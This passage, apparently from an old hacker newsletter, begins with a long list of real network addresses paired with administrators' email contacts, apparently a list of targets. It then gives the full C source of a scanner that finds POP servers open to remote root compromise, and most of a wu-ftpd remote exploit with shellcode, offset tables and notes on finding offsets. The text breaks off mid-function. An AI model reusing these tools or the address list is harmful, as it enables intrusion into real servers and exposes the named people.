      18        207.107.235.0      noc@sprint-canada.net
      18        207.107.105.255    noc@sprint-canada.net
      18        209.5.121.255      noc@sprint-canada.net
      18        209.5.122.255      noc@sprint-canada.net
      18        207.107.152.255    noc@sprint-canada.net
      18        207.107.153.255    noc@sprint-canada.net
      18        209.63.198.255     sforester@e-infoinc.com
      18        207.107.206.255    noc@sprint-canada.net
      18        207.107.207.255    noc@sprint-canada.net
      18        207.99.208.255     art@lacoe.edu
      18        207.107.221.255    noc@sprint-canada.net
      18        207.107.234.255    noc@sprint-canada.net
      18        207.107.235.255    noc@sprint-canada.net
      18        210.69.250.255
      18        208.21.40.0        nomailbox@nowhere
      18        208.230.78.0       kstrange@net-temps.com
      18        207.200.148.0      martinb@imag.net
      18        207.200.149.0      martinb@imag.net
      18        207.200.152.0      martinb@imag.net
      18        207.200.155.0      martinb@imag.net
      18        207.234.1.255      hostmaster@telalink.net
      18        212.10.24.255      kskov@stofa.dk, kskov@pip.dknet.dk,
      tormelle@stofa.dk, tormelle@login.dknet.dk
      18        208.230.78.255     kstrange@net-temps.com
      18        216.101.117.255
      18        207.200.148.255    martinb@imag.net
      18        207.200.149.255    martinb@imag.net
      18        207.200.150.255    martinb@imag.net
      18        207.200.152.255    martinb@imag.net
      18        207.200.153.255    martinb@imag.net
      18        207.200.153.0      martinb@imag.net
      18        207.200.154.0      martinb@imag.net
      18        208.230.168.0      Hostmaster@digitalgreen.com
      18        208.230.170.0      Hostmaster@digitalgreen.com
      18        207.28.171.0       dave.klinkefus@icn.state.ia.us
      18        208.158.229.0      jeff@digitalgreen.com
      18        207.19.241.0       adam_rasmussen@highend.com
      18        207.109.251.0      hostmaster@uswest.net
      18        210.150.12.255     hostmaster@nic.ad.jp
      18        208.170.101.255    mderrick@hiwaay.net
      18        212.12.129.255     ibrahim@fornet.net.tr, ilker@fornet.net.tr,
      eren@fornet.net.tr, teknik@fornet.net.tr
      18        207.200.155.255    martinb@imag.net
      18        208.230.168.255    Hostmaster@digitalgreen.com
      18        207.28.171.255     dave.klinkefus@icn.state.ia.us
      18        208.158.229.255    jeff@digitalgreen.com
      18        208.158.230.255    jeff@digitalgreen.com
      18        207.19.241.255     adam_rasmussen@highend.com
      18        207.109.251.255    hostmaster@uswest.net
      18        207.223.57.0       maa@jwgnet.com
      18        216.190.92.0       SLB@jenkon.com
      18        207.200.150.0      martinb@imag.net
      18        207.200.151.0      martinb@imag.net
      18        216.13.163.0       martinb@imag.net
      18        207.223.57.255     maa@jwgnet.com
      18        216.190.92.255     SLB@jenkon.com
      18        207.200.151.255    martinb@imag.net
      18        216.13.163.255     martinb@imag.net
      18        209.76.204.0
      18        209.76.204.255     jhoulding@psr.edu
      18        216.107.0.0        engineering@nni.com
      18        216.107.5.0        engineering@nni.com
      18        216.107.6.0        engineering@nni.com
      18        216.107.13.0       engineering@nni.com
      18        216.107.18.0       engineering@nni.com
      18        216.107.20.0       engineering@nni.com
      18        216.107.23.0       engineering@nni.com
      18        207.249.77.0       webmastercns@compuserve.com
      18        208.15.164.0       tony@atapco-custom.com
      18        208.199.187.0      meta4@interramp.com
      18        207.18.199.0       help@uunet.uu.net
      18        216.107.0.255      engineering@nni.com
      18        216.107.5.255      engineering@nni.com
      18        216.107.6.255      engineering@nni.com
      18        216.107.7.255      engineering@nni.com
      18        216.107.13.255     engineering@nni.com
      18        216.107.18.255     engineering@nni.com
      18        216.107.20.255     engineering@nni.com
      18        216.107.23.255     engineering@nni.com
      18        207.249.77.255     webmastercns@compuserve.com
      18        207.126.125.255    noc@above.net
      18        209.140.152.255    jeffd@coriolis.com
      18        207.200.154.255    martinb@imag.net
      18        208.15.18.0        NOC@sprint.net
      18        207.10.95.0        sdm@rte.com
      18        207.70.172.0       miker@lcc.net
      18        209.70.51.255      hostmaster@clark.net
      18        209.56.97.0        sfosseen@aea5.k12.ia.us
      18        216.84.222.0       ahaley@texmed.org
      18        209.226.229.0      noc@in.bell.ca
      18        209.226.230.0      noc@in.bell.ca
      18        209.226.231.0      noc@in.bell.ca
      18        209.226.229.255    noc@in.bell.ca
      18        209.226.230.255    noc@in.bell.ca
      18        209.226.231.255    noc@in.bell.ca
      18        208.11.81.0        darren@infobahn.icubed.com
      18        207.177.122.0      noc@netins.net
      18        208.22.251.0       cvmmjm@cc.vtvm1.vt.edu
      18        209.87.57.255      franks@tu.bc.ca
      18        208.11.81.255      darren@infobahn.icubed.com
      18        206.218.143.255    rgernon@mail.doe.state.la.us
      18        208.22.251.255     cvmmjm@cc.vtvm1.vt.edu
      18        208.238.104.0      jerome@hwwilson.com
      18        208.238.105.0      jerome@hwwilson.com
      18        208.238.106.0      jerome@hwwilson.com
      18        208.238.107.0      jerome@hwwilson.com
      18        208.238.104.255    jerome@hwwilson.com
      18        208.238.105.255    jerome@hwwilson.com
      18        208.238.107.255    jerome@hwwilson.com
      18        209.173.205.0      mgc@orbis.net
      18        208.140.79.255     hostmaster@hiwaay.net
      18        206.215.81.255     cale@cohesive.net
      18        209.48.139.0       dns@digex.net
      18        209.48.139.255     dns@digex.net
      18        207.62.166.255     netadmin@moe.calpoly.edu
      18        216.60.246.255     hostmaster@swbell.net
      18        209.22.30.0        SUCHOVSA@aurora.afccc.af.mil
      18        209.242.205.0      jim@alphachannel.com
      18        209.136.218.0      gordon@roadrunner.com
      18        209.22.30.255      SUCHOVSA@aurora.afccc.af.mil
      18        209.78.60.255      nomailbox@nowhere
      18        207.231.96.0       kenkos@usnetway.com
      18        207.231.97.0       kenkos@usnetway.com
      18        207.231.98.0       kenkos@usnetway.com
      18        207.231.99.0       kenkos@usnetway.com
      18        207.231.96.255     kenkos@usnetway.com
      18        207.231.97.255     kenkos@usnetway.com
      18        207.231.98.255     kenkos@usnetway.com
      18        207.231.99.255     kenkos@usnetway.com
      17        24.238.2.0         bobby@ols.net
      17        63.65.8.0          twright@cathedral.org
      17        63.67.135.0        robb@microedge.com
      17        63.67.135.255      robb@microedge.com
      17        63.68.114.0        jkrainak@c3design.com
      17        131.64.244.0       SSNYDER@cols.disa.mil
      17        131.64.247.255     SSNYDER@cols.disa.mil
      17        152.43.31.0
      17        152.43.31.255
      17        152.9.54.0         westg@mars.nccu.edu
      17        152.9.54.255       westg@mars.nccu.edu
      17        161.223.69.0
      17        161.223.69.255
      17        161.223.77.0
      17        192.176.123.255    BER@sunic.sunet.se
      17        192.246.229.0      hostinfo@psi.com
      17        192.246.229.255    hostinfo@psi.com
      17        192.58.24.0        holly.wales@msfc.nasa.gov
      17        192.58.24.255      holly.wales@msfc.nasa.gov
      17        192.58.25.0        holly.wales@msfc.nasa.gov
      17        192.58.25.255      holly.wales@msfc.nasa.gov
      17        192.72.46.0        kaoci@tpts1.seed.net.tw
      17        192.93.178.255     Annie.Renard@inria.fr
      17        193.106.12.255     yp@jouve.fr
      17        193.113.60.0       kevin.bates@bt.com, adrian.pauling@bt.com,
                                  kevin.bates@bt.com, adrian.pauling@bt.com,
                                  steve.a.marshall@bt.com
      17        193.119.172.255
      17        193.12.151.255
      17        193.140.198.0      ozturanm@boun.edu.tr, baysalc@boun.edu.tr
      17        193.254.6.0        anders.rosendal@umea.se
      17        193.254.6.255      anders.rosendal@umea.se
      17        193.39.17.255      NONE, NONE
      17        193.5.67.0         admin@rolotec.ch, apm@rolotec.ch
      17        193.73.186.0       peters@sig.ch, pete@concentra.co.uk,
                                  admin@pks.be, pete@concentra.co.uk
      17        194.107.62.0
      17        194.122.105.0      holger.kipp@pmc.de
      17        194.122.217.0      bandle@mmc.de
      17        194.143.185.255    dinesh@nettec.co.uk, craig@manda.co.uk
      17        194.143.230.0      kjanos@elender.hu
      17        194.168.222.0      nmc@ntli.net, nmc@ntli.net
      17        194.168.222.255    nmc@ntli.net, nmc@ntli.net
      17        194.19.64.0
      17        194.19.64.255
      17        194.199.121.0      maxcasty@tin.it
      17        194.199.121.255    maxcasty@tin.it
      17        194.207.0.0        hostmaster@vbc.net
      17        194.254.147.0      marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr,
                                  aperio@luminy.univ-mrs.fr
      17        194.254.147.255    marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr,
                                  aperio@luminy.univ-mrs.fr
      17        194.254.148.0      marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr,
                                  aperio@luminy.univ-mrs.fr
      17        194.254.148.255    marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr,
                                  aperio@luminy.univ-mrs.fr
      17        194.254.149.0      marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr,
                                  aperio@luminy.univ-mrs.fr
      17        194.254.149.255    marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr,
                                  aperio@luminy.univ-mrs.fr
      17        194.64.180.0       j.unger@choin.net
      17        194.64.229.0       wedel@pharma.de
      17        194.72.192.0       djn@enterprise.net
      17        194.72.192.255     djn@enterprise.net
      17        194.8.203.0        mag@dumont.de
      17        195.122.23.0       guntars_lorencis@farmdep.gov.lv,
                                  Aleks.Maslobojev@apollo.lv
      17        195.122.23.255     guntars_lorencis@farmdep.gov.lv,
                                  Aleks.Maslobojev@apollo.lv
      17        195.146.91.0       smp@adonis.iasnet.com, plat@kiae.su,
                                  bon@ripn.net, incoming@monga.ripn.net,
                                  lsy@kiae.su
      17        195.152.110.0      doug@uk.psi.com
      17        195.152.110.255    doug@uk.psi.com
      17        195.17.80.0        mti@softnet.se
      17        195.249.225.0
      17        195.27.52.255      barkau@os-net.de
      17        195.29.255.0       Mirta.Matic@tel.hr, Anela.Lovric@tel.hr,
                                  krunoslav.kedmenec@tel.hr,
                                  Petar.Andrijasevic@tel.hr
      17        195.29.255.255     Mirta.Matic@tel.hr, Anela.Lovric@tel.hr,
                                  krunoslav.kedmenec@tel.hr,
                                  Petar.Andrijasevic@tel.hr
      17        195.34.168.0       wolf@ipm.net
      17        195.41.205.0
      17        195.65.87.255      jb@rolotec.ch, admin@rolotec.ch
      17        198.142.96.0       matt@mpx.com.au
      17        198.142.96.255     matt@mpx.com.au
      17        198.214.160.0      D.Nash@utexas.edu
      17        198.214.160.255    D.Nash@utexas.edu
      17        198.214.61.0       jayr@tenet.edu
      17        198.214.61.255     jayr@tenet.edu
      17        198.4.175.0        help@uunet.uu.net
      17        198.6.114.0        net-admin@intac.com
      17        198.6.114.255      net-admin@intac.com
      17        198.64.7.0         hostmaster@sesqui.net
      17        198.64.7.255       hostmaster@sesqui.net
      17        199.111.95.0       jaj@virginia.edu
      17        199.111.95.255     jaj@virginia.edu
      17        199.117.52.0       aesmoot@aescon.com
      17        199.117.52.255     aesmoot@aescon.com
      17        199.120.113.0      noc@netins.net
      17        199.120.113.255    noc@netins.net
      17        199.120.114.0      noc@netins.net
      17        199.120.114.255    noc@netins.net
      17        199.221.104.0      krish@ans.net
      17        199.249.18.255     Jim.Avera@mci.com
      17        199.250.226.0      dnstech@eni.net
      17        199.29.174.0       hostinfo@psi.com
      17        199.29.174.255     hostinfo@psi.com
      17        199.72.10.0        hostmaster@interpath.net
      17        199.72.10.255      hostmaster@interpath.net
      17        200.15.12.255      hostmaster@sesqui.net
      17        200.28.35.0        wmaldona@ctcreuna.cl
      17        200.28.35.255      wmaldona@ctcreuna.cl
      17        200.28.95.0        wmaldona@ctcreuna.cl
      17        200.32.73.0        tlynch@impsat.com
      17        200.32.73.255      vgadda@impsat.com
      17        200.39.95.255      emoreno@nextgeninteinter.net
      17        202.135.82.0
      17        202.160.12.0       rao@technet.sg
      17        202.211.34.0       technical@apnic.net
      17        202.219.0.255      technical@apnic.net
      17        202.248.2.255      hostmaster@nic.ad.jp
      17        202.69.0.0         abraham@hk.net, williamw@hk.net
      17        202.69.0.255       abraham@hk.net, williamw@hk.net
      17        202.69.1.0         abraham@hk.net, williamw@hk.net
      17        202.69.1.255       abraham@hk.net, williamw@hk.net
      17        202.99.5.255
      17        203.127.207.0
      17        203.127.207.255
      17        203.139.164.255    hostmaster@nic.ad.jp
      17        203.141.1.0        hostmaster@nic.ad.jp
      17        203.141.1.255      hostmaster@nic.ad.jp
      17        203.240.193.0      mgr@matrix.shinbiro.com, ip@matrix.shinbiro.com
      17        204.131.142.0      emontero@gmgw.com
      17        204.152.71.0       Bill_Hutchison@cesoft.com
      17        204.153.162.0      dkirk@corpcomm.net
      17        204.153.162.255    dkirk@corpcomm.net
      17        204.161.32.255     jawright@fresno.edu
      17        204.161.33.255     jawright@fresno.edu
      17        204.241.124.0      hostinfo@psi.com
      17        204.241.124.255    hostinfo@psi.com
      17        204.246.130.0      support@vii.com
      17        204.246.130.255    support@vii.com
      17        204.246.132.255    support@vii.com
      17        204.34.24.0
      17        204.34.24.255
      17        204.48.150.255     tuma@ceo.sbceo.k12.ca.us
      17        204.48.151.0       tuma@ceo.sbceo.k12.ca.us
      17        204.48.151.255     tuma@ceo.sbceo.k12.ca.us
      17        204.48.152.0       tuma@ceo.sbceo.k12.ca.us
      17        204.50.83.0        noc@sprint-canada.net
      17        204.57.86.0        Miller@sidlinger.com
      17        204.57.86.255      Miller@sidlinger.com
      17        205.138.176.0      brian@dstream.net
      17        205.138.176.255    brian@dstream.net
      17        205.139.65.0       jsohn@saber.net
      17        205.139.65.255     jsohn@saber.net
      17        205.153.28.0       MWilliams@charter.com
      17        205.163.15.0       bblue@cts.com
      17        205.163.38.0       sbeverly@wavegate.com
      17        205.187.159.0      Louis_Lee@icgcomm.com
      17        205.213.151.0      nic@mail.wiscnet.net
      17        205.213.168.0      jmcmaho2@sevastopol.k12.wi.us
      17        205.229.125.0      twright@cathedral.org
      17        205.229.126.0      twright@cathedral.org
      17        205.241.209.0      Niels@opup.org
      17        205.241.209.255    Niels@opup.org
      17        205.253.22.0       karl@mcs.com
      17        205.253.22.255     karl@mcs.com
      17        206.109.202.0      william@neosoft.com
      17        206.109.202.255    william@neosoft.com
      17        206.13.40.255      jonathan@sonic.net
      17        206.137.31.255     mconelly@napc.com
      17        206.148.35.0       dan@nyrealty.com
      17        206.148.35.255     dan@nyrealty.com
      17        206.149.62.255     reginfo@nkn.net
      17        206.152.160.0      tim@lanline.com
      17        206.152.161.255    tom@lanline.com
      17        206.166.244.0      mwilliam@ptc.dcs.edu
      17        206.175.129.255    hostmaster@wcom.net
      17        206.211.73.255     renae.h.key@gte.sprint.com
      17        206.211.73.0       renae.h.key@gte.sprint.com
      17        212.182.3.255      Andrzej.Resztak@admins.man.lublin.pl, lan-
                                  admin@umcs.lublin.pl
      17        212.182.2.0        Andrzej.Resztak@admins.man.lublin.pl, lan-
                                  admin@umcs.lublin.pl
      17        206.222.161.255    uurtamo@insync.net
      17        212.182.2.255      Andrzej.Resztak@admins.man.lublin.pl, lan-
                                  admin@umcs.lublin.pl
      17        212.182.3.0        Andrzej.Resztak@admins.man.lublin.pl, lan-
                                  admin@umcs.lublin.pl
      17        209.208.185.0      hostmaster@pfmc.net
      17        206.72.199.0       maz@albany.net
      17        208.145.204.0      admin@lisco.com
      17        207.50.249.0       nomailbox@nowhere
      17        208.145.204.255    admin@lisco.com
      17        207.1.208.255      lbemerer@lmccinti.com
      17        207.50.249.255     nomailbox@nowhere
      17        207.171.205.0      jfreire@proxysf.com
      17        207.165.77.255     dave.klinkefus@icn.state.ia.us
      17        207.171.205.255    jfreire@proxysf.com
      17        209.39.0.0         netadmin@onramp.net
      17        206.99.45.0        egra@adinet.com.uy
      17        206.99.50.0        egra@adinet.com.uy
      17        216.214.144.0      noc@megsinet.net
      17        206.99.45.255      egra@adinet.com.uy
      17        206.99.50.255      egra@adinet.com.uy
      17        208.151.220.255    ipswip@cw.net
      17        207.233.25.0       nes@4c.net
      17        212.182.63.0       Andrzej.Resztak@admins.man.lublin.pl, lan-
                                  admin@umcs.lublin.pl

                                                                                       
     @HWA
     
     
33.0  pop.c QPOP vulnerability scanner by duro
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      
      /*  POPScan QPOP/UCB/SCO scanner by duro
          duro@dorx.net
      
          takes list of ip's from stdin
          
         The hosts gathered by this scanner are 
         almost 100% vulnerable to a remote
         root attack.  The exploits used to root
         the vulnerable machines can all be found by
         searching bugtraq.  UCB pop is 100% of the
         time vulnerable to the qpop exploit (it's a very
         old version of qpop).  The QPOP version is 
         filitered to make sure that non-vulnerable 
         versions do not show up in the scan.
         Common offsets for the bsd qpop exploit are:
          621, 1500, 500, 300, 900, 0
      
      Example usage:
      
      ./z0ne -o ac.uk | ./pops > ac.uk.log &
      would scan ac.uk for vulnerabilities.
      
      much help from jsbach    
      
      
      */
      
      #include <stdio.h>
      #include <sys/socket.h>
      #include <sys/types.h>
      #include <netinet/in.h>
      #include <signal.h>
      
      int ADMtelnet (u_long, int port);
      char domain[50];
      int NUMCHILDREN = 150, currchilds = 0; /* change numchildren to taste */
      char ip[16];
      int temp1 = 0;
      void scan(char *ip);
      void alrm(void) { return; }
      
      main()
      {
      
         while( (fgets(ip, sizeof(ip), stdin)) != NULL)
                switch(fork()) {
                  case 0: {
                  scan(ip); exit(0);
                  }
                  case -1: {
                    printf("cannot fork so many timez@!@^&\n");
                    exit(0);
                    break;
                    }
                  default:
                      {
                      currchilds++;
                      if (currchilds > NUMCHILDREN)
                        wait(NULL);
                      break;
                      }
                }
      
      }
      
      void scan(char *ip)
      {
      char printip[16];
      struct sockaddr_in addr;
      int sockfd;
      char buf[512];
      
      bzero((struct sockaddr_in *)&addr, sizeof(addr));
      sockfd = socket(AF_INET, SOCK_STREAM, 0);
      
      addr.sin_addr.s_addr = inet_addr(ip);
      addr.sin_port = htons(110);
      addr.sin_family = AF_INET;
      signal(SIGALRM, alrm);
      alarm(5);
      if ( (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) != -1))
      {
      recv(sockfd, (char *)buf, sizeof(buf), 0);
      
      if ( (strstr(buf, "QPOP") ) != NULL && (strstr(buf, "2.5")) == NULL && (strstr(buf, "krb")) == NULL)
       {
       checkos(ip,1);
      }
      
      if((strstr(buf, "UCB")) != NULL)
      checkos(ip,2);
      
      if((strstr(buf, "SCO")) != NULL)
       {
        strcpy(printip, ip);
        if ((temp1=strrchr(printip, '\n')) != NULL)
         bzero(temp1, 1);
         printf("%s: SCO Unix box running SCO pop.\n",printip);
        } 
      }
      return;
      }
      // }
      
      
      checkos(char *ip, int spl)
      {
      int temp2;
      char printip[16];
      unsigned long temp;
      temp = inet_addr(ip);
      temp2 = ADMtelnet(temp, 23);
        strcpy(printip, ip);
        if ((temp1=strrchr(printip, '\n')) != NULL)
         bzero(temp1, 1);
      
      if ((temp2 == 1)&&(spl==1))
       printf("%s: OpenBSD box running vuln QPOP\n",printip);
      if ((temp2 == 1)&&(spl==2))
       printf("%s: OpenBSD box running vuln UCB pop\n",printip);
      if ((temp2 == 2)&&(spl==1))
       printf("%s: FreeBSD box running vuln QPOP\n",printip);
      if ((temp2 == 2)&&(spl==2))
       printf("%s: FreeBSD box running vuln UCB pop\n",printip);
      if ((temp2 == 3)&&(spl==1))
       printf("%s: BSDi box running vuln QPOP\n",printip);
      if ((temp2 == 3)&&(spl==2))
       printf("%s: BSDi box running vuln UCB pop\n",printip);
      
      }
      
      int ADMtelnet (u_long ip, int port)
      {
        struct sockaddr_in sin;
        u_char buf[4000];
        int dasock, len;
        int longueur = sizeof (struct sockaddr_in);
      
        dasock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);  /* gimme a socket */
      
        sin.sin_family = AF_INET;
        sin.sin_port = htons (port);
        sin.sin_addr.s_addr = ip;
      
        if (connect (dasock, (struct sockaddr *) &sin, longueur) == -1)
          return (-1);
      
        while (1)
          {
            memset (buf, 0, sizeof (buf));
      
            if ((len = read (dasock, buf, 1)) <= 0)
              break;
      
            if (*buf == (unsigned int) 255)
              {
                read (dasock, (buf + 1), 2);
                if (*(buf + 1) == (unsigned int) 253 && !(u_char) * (buf + 2));
                else if ((u_char) * (buf + 1) == (unsigned int) 253)
                  {
                    *(buf + 1) = 252;
                    write (dasock, buf, 3);
                  }
              }
            else
              {
                if (*buf != 0)
                  {
                    bzero (buf, sizeof (buf));
                    read (dasock, buf, sizeof (buf));
                    usleep(40000);
      
              if((strstr(buf, "OpenBSD") != NULL)) 
               return 1;
              if((strstr(buf, "FreeBSD") != NULL)) 
               return 2;
              if((strstr(buf, "BSDI") != NULL)) 
              return 3;
         
                    sleep (1);
                  }
      
              }
      
          }
        return 0;
      }
      
      
      @HWA
      
      
34.0  'Integrated FTP attack facility' by typo/teso
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From http://www.hack.co.za/


      /*
        <tmogg> ifaf ?
        <typo_> integrated ftp attack facility
        <ElCamTuf> ifafoffuffoffaf
        <ElCamTuf> sounds much better
      
      Code by typo/teso '99. http://teso.scene.at/ - DO NOT USE, DO NOT DISTRO.
      _----------------------------------------------------------------------------_
          Ok, so edi found a way to bruteforce.. we made bruteforcing test code,
          but wuftpd is too boring to finetune it.. enjoy this sploit in the
          meanwhile. Send me offsets (see below) to typo@scene.at.
      -____________________________________________________________________________-
      
      Contributors:
           Bulba of LaM3rZ (thanks for the shellcode and the example w.sh)
           edi (found a way to only have to find 2(!) offsets, he is hardcore!)
           lcamtuf (dziekuje tobie za ostatunia noc)
           Grue (helped me thinking, and testing, rh5.2, rh5.1 offsets)
           scut (minor include and style fixes)
           smiler (asm bugfixing), stealth (hellkit rox)
      
      Greets: Lam3rZ, ADM, THC, beavuh, and most other people that know us.
      */
      
      #include <sys/types.h>
      #include <sys/socket.h>
      #include <sys/utsname.h>
      #include <sys/time.h>
      #include <netinet/in.h>
      #include <netdb.h>
      #include <fcntl.h>
      #include <unistd.h>
      #include <errno.h>
      #include <signal.h>
      #include <time.h>
      #include <getopt.h>
      #include <string.h>
      #include <stdlib.h>
      #include <stdio.h>
      #include <stdarg.h>
      
      /* LaM3rZ shellcode */
      unsigned char lamerz[]=
              "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
              "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
              "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
              "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
              "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
              "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
              "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
              "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
              "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
              "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
              "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67";
      
      /* teso code: write(1,"teso\n",5); exit(0); */
      unsigned char testcode[] =
          "\xeb\x1c\x31\xc0\x59\x31\xd2\x31\xdb\xb3\x01\xb2\x05\xb0"
          "\x0b\xfe\xc8\x88\x41\x04\xb0\x04\xcd\x80\x30\xdb\xb0\x01"
          "\xcd\x80\xe8\xdf\xff\xff\xfftesox";
      
      /* teso code: ioctl(, 0x5309, 0); */
      unsigned char cdcode[] =
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x36\x5b\xff\x0b\xff\x4b\x04"
        "\x4b\x80\x6b\x0b\x35\x43\x31\xc0\x31\xc9\x31\xd2\xb0\x05\x66\xb9\x04\x08"
        "\x66\xba\x9a\x02\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x31\xd2\xb0\x36\x66\xb9"
        "\x09\x53\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xc5\xff\xff\xff"
        "\x30\x64\x65\x76\x30\x63\x64\x72\x6f\x6d\x35";
      
      /* uh.. script kiddies suck. */
      char *shellcode = cdcode;
      
      typedef struct dir *dirptr;
      
      struct dir {
              char    *name;
              dirptr  next;
      } dirproto;
      
      void    title (void);
      void    usage (const char *me);
      void    connect_to_ftp (void);
      void    log_into_ftp (void);
      void    parseargs (int argc, char **argv);
      void    cleanup_and_exit (void);
      int     x2port (const char *smtn);
      void    err (int syserr, const char *msg, ...);
      int     cwd (const char *path);
      int     mkd (char *name);
      int     rmd (char *name);
      int     is_writable (void);
      void    getpwd (void);
      int     recurse_writable (void);
      void    *xmalloc (size_t size);
      void    *xcalloc (int factor, size_t len);
      char    *xstrdup (const char *s);
      ssize_t xread (int fd, void *buf, size_t count);
      ssize_t xwrite (int fd, const void *buf, size_t count);
      int     xbind (int sockfd, struct sockaddr *my_addr, int addrlen);
      int     xsocket (int domain, int type, int protocol);
      int     xsetsockopt (int s, int level, int optname, const void *optval,
              unsigned int optlen);
      int     xconnect (int  sockfd,  struct sockaddr *serv_addr, int addrlen);
      void    sighandler (int signal);
      struct hostent  *xgethostbyname (const char *name);
      struct hostent  *xgethostbyaddr (const char *addr, int len, int type);
      void    putserv (const char *fmt, ...);
      char    *getline (void);
      char    *getmsg (const char *msg);
      int     wuftpd_250_sploitit (void);
      dirptr  newdir (char *name);
      char    *getdir (char *stat);
      char    *int2char (int addr);
      int     check_test_return();
      
      /*----------------------------------------------------------------
      ***                     How to get offsets                     ***
      ------------------------------------------------------------------
      Edis elite way of getting offsets:
      
      objdump --disassemble in.ftpd | egrep -6 "3c 2e|0f bf 43 06" |
      grep "\$0x80" | awk '{print $8}'
      ------------------------------------------------------------------
      My lame way of getting offsets:
      (as many people have asked: search for ltrace at http://freshmeat.net/)
      
      tty1:
      nc 0 21
      USER someuser
      PASS hispass
      tty2:
      ltrace -S -p pid_of_ftpd 2>&1 | egrep "SYS_chdir|longjmp"
      tty1:
      CWD /not/current/dir
      MOO
      QUIT
      tty2:
      first argument of first SYS_chdir is mapped_path offset.
      first argument of longjmp is errcatch offset
      ------------------------------------------------------------------
      try 4096 and/or 1024 for maxpathlen (works 99% of the time).
      ------------------------------------------------------------------*/
      
      struct sploitdata {
              char            *banner;
              char            *desc;
              char            pad_eax;
              unsigned int    maxpathlen;
              unsigned int    mapped_path;
              unsigned int    errcatch;
              int             (*code)();
              int             need_writable;
      };
      
      #define START_MAPPED 0x08060000
      
      struct sploitdata spdata[] = {
              {
                  "FTP server (Version wu-2.5.0(1) Tue Jun 8 08:55:12 EDT 1999)",
                  "rh6 - wu-ftpd-2.5.0-2.i386.rpm",
                  0,
                  4096,
                  0x0806a1e0,
                  0x08077fc0,
                  wuftpd_250_sploitit,
                  1,
              },
              {
                  "Fri May 21 10:45:57 EDT 1999",
                  "rh5.1 - wu-ftpd-2.5.0-1.RH5-1.i386.rpm",
                  0,
                  1024,
                  0x08066890,
                  0x0806fcc0,
                  wuftpd_250_sploitit,
                  1,
              },
              {
                  "Tue Jun 8 11:19:44 EDT 1999",
                  "rh5.2 - wu-ftpd-2.5.0-0.5.2.i386.rpm",
                  0,
                  1024,
                  0x08067504,
                  0x08077fc0,
                  wuftpd_250_sploitit,
                  1,
              },
              {
                  "FTP server (Version wu-2.5.0(1) Sat Sep 11 01:19:26 CEST 1999)",
                  "debian 2.1 - standard source compilation",
                  0,
                  1024,
                  0x806928c,
                  0x8071a80,
                  wuftpd_250_sploitit,
                  1,
              },
              {
                  "FTP server (Version wu-2.5.0(1)",
                  "rh6.0 wu-ftpd-2.5.0.tar.gz - standard source compilation",
                  0,
                  4096,
                  0x8068f80,
                  0x8076d60,
                  wuftpd_250_sploitit,
                  1,
              },
              {
                  NULL,
                  NULL,
                  0,
                  0,
                  0,
                  0,
                  NULL,
                  0,
              }
      };
      
      struct sploitdata *sptr = spdata;
      
      int     debug = 0,
              disp = 1,
              fd = 0,
              nostat = 1,
              offset_selected = 0;
      
      struct tesopt {
              char                    *user;
              char                    *host;
              char                    *pass;
              char                    *cwd;
              char                    *rev;
              char                    *dirname;
              int                     dirlen;
              char                    testonly;
              char                    dirscanonly;
              unsigned short int      sport;
              unsigned short int      port;
              struct hostent          *he;
      } tesopt;
      
      struct hostinf {
              char    *header;
              char    *pwd;
              char    *writable_dir;
              int     pwdlen;
      } hostinf;
      
      #define COLOR
      
      #ifdef COLOR
      #define C_NORM "\E[0m"
      #define C_BOLD "\E[1m"
      #define C_GREEN "\E[32m"
      #define C_RED "\E[31m"
      #define C_BROWN "\E[33m"
      #define C_BLUE "\E[34m"
      #define C_PINK "\E[35m"
      #define C_CYAN "\E[36m"
      #define C_YELL  "\E[33m"
      #else
      #define C_NORM ""
      #define C_BOLD ""
      #define C_GREEN ""
      #define C_RED ""
      #define C_BROWN ""
      #define C_BLUE ""
      #define C_PINK ""
      #define C_CYAN ""
      #define C_YELL  ""
      #endif
      
      /* title
       *
       * print title
       *
       * no return value
       */
      void
      title (void)
      {
              printf (C_BOLD"---"C_GREEN"teso"C_NORM C_GREEN"ftpd"C_NORM C_BOLD"---"
                      C_NORM"\n");
              return;
      }
      
      /* newdir
       *
       * return a pointer to a new dir with name name
       *
       * pointer to dir structure
       */
      dirptr
      newdir (char *name)
      {
          dirptr      tmp;
      
          tmp = (dirptr) xmalloc (sizeof (dirproto));
          tmp->name = xstrdup (name);
          tmp->next = NULL;
      
          return (tmp);
      }
      
      /* usage
       *
       * print usage
       *
       * no return value
       */
      void
      usage (const char *me)
      {
          struct sploitdata   *cow;
          int                 i = 0;
      
      /*    printf ("usage: %s\n\n", me); */
          printf ("-h              - this help\n"
          "-s <server>     - specify server\n"
          "-p <port>       - destination port\n"
